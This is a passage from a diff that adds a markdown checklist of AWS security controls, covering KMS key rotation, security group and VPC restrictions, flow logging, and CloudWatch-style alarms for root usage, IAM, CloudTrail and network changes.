- [ ] KMS key rotation enabled
|
|
451
|
+
|
|
452
|
+
### Networking
|
|
453
|
+
- [ ] No security groups allow 0.0.0.0/0 to port 22
|
|
454
|
+
- [ ] No security groups allow 0.0.0.0/0 to port 3389
|
|
455
|
+
- [ ] VPC flow logging enabled
|
|
456
|
+
- [ ] Default security group restricts all traffic
|
|
457
|
+
|
|
458
|
+
### Monitoring
|
|
459
|
+
- [ ] Alarm for unauthorized API calls
|
|
460
|
+
- [ ] Alarm for console sign-in without MFA
|
|
461
|
+
- [ ] Alarm for root account usage
|
|
462
|
+
- [ ] Alarm for IAM policy changes
|
|
463
|
+
- [ ] Alarm for CloudTrail config changes
|
|
464
|
+
- [ ] Alarm for console auth failures
|
|
465
|
+
- [ ] Alarm for CMK disabling/deletion
|
|
466
|
+
- [ ] Alarm for S3 bucket policy changes
|
|
467
|
+
- [ ] Alarm for security group changes
|
|
468
|
+
- [ ] Alarm for NACL changes
|
|
469
|
+
- [ ] Alarm for VPC changes
|